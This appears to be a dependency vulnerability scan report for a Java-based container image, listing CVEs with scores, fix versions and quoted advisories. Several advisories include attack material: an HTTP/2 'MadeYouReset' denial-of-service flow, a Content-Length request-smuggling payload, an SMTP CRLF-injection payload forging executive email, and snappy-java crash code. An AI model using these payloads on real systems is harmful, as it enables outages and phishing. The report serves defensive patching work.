CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.364%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.795%
EPSS Percentile74th percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.795%
EPSS Percentile74th percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.095%
EPSS Percentile27th percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.13.0 (maven) - -pkg:maven/commons-io/commons-io@2.13.0
-high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.161%
EPSS Percentile38th percentile
- -
Description -
- -Uncontrolled Resource Consumption vulnerability in Apache Commons IO. - -The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. - - -This issue affects Apache Commons IO: from 2.0 before 2.14.0. - -Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.96.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.055%
EPSS Percentile18th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile23rd percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - -import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
